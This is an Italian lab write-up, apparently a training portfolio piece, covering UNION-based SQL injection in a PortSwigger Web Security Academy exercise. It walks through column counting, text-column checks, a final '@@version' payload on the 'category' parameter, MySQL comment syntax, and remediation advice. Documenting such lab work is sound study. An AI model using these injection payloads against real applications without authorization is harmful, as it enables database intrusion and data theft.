LEONARDO ONORI
JUNIOR PENETRATION TESTER · VULNERABILITY ANALYST

leonardoonori1@gmail.com
github.com/leonardoonori1-ops

REPORT TECNICO · SQL INJECTION

SQL injection — Tipo e versione del database (MySQL / Microsoft)

Rilevamento del DBMS tramite UNION-based SQL injection

Categoria OWASP	A03:2021 – Injection
Classificazione CWE	CWE-89 – SQL Injection
Severità	HIGH
Parametro	category (GET /filter)
Analista	Leonardo Onori
Data	15 ottobre 2026
Strumenti	Kali Linux, Burp Suite, Firefox

Documento a scopo formativo — Leonardo Onori. Attività svolta su istanza di laboratorio autorizzata (PortSwigger Web Security Academy).

01 Executive Summary

Il filtro per categoria dell'applicazione e-commerce è vulnerabile a **SQL injection UNION-based**. Sfruttando la vulnerabilità è stato possibile recuperare la versione del DBMS sottostante, dimostrando il controllo completo sulla clausola `SELECT` della query.

PARAMETRO	TIPO
`category`	UNION-based, in-band
COLONNE	**OBIETTIVO**
2 (testo)	8.0.42-0ubuntu0.20.04.1

02 Punto di injection

Il filtro genera una query del tipo:

```
SELECT ... FROM products WHERE category = '<input>' AND released = 1
```

L'input è concatenato tra apici singoli: è possibile chiudere la stringa e iniettare SQL.

03 Metodologia

CONTEGGIO DELLE COLONNE

```
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -     → errore: 2 colonne
```

VERIFICA COLONNE DI TIPO TESTO

```
' UNION SELECT 'abc','def'-- -
```

ESTRAZIONE DELLA VERSIONE

```
' UNION SELECT @@version, NULL-- -
```

La funzione `@@version` è condivisa da MySQL e Microsoft SQL Server. La pagina restituisce `8.0.42-0ubuntu0.20.04.1`.

04 Payload finale

```
GET /filter?category=Gifts' UNION SELECT @@version, NULL-- -
```

> **SINTASSI DEI COMMENTI**
> MySQL richiede uno spazio dopo `--` . Poiché lo spazio finale in URL si perde, si usa `-- -` oppure `%23` (`#`). Su Microsoft SQL Server `--` è sufficiente.

05 Impatto

Il controllo sulla `SELECT` consente, oltre al fingerprinting del DBMS, l'estrazione arbitraria di dati e, a seconda dei permessi, operazioni più invasive. Il fingerprinting della versione è il primo passo di un attacco più ampio.

06 Remediation

- **Query parametrizzate** (prepared statement) per ogni accesso al database.

- **Privilegio minimo** per l'utenza applicativa del database.
- **Gestione generica degli errori**, senza esporre versioni del DBMS.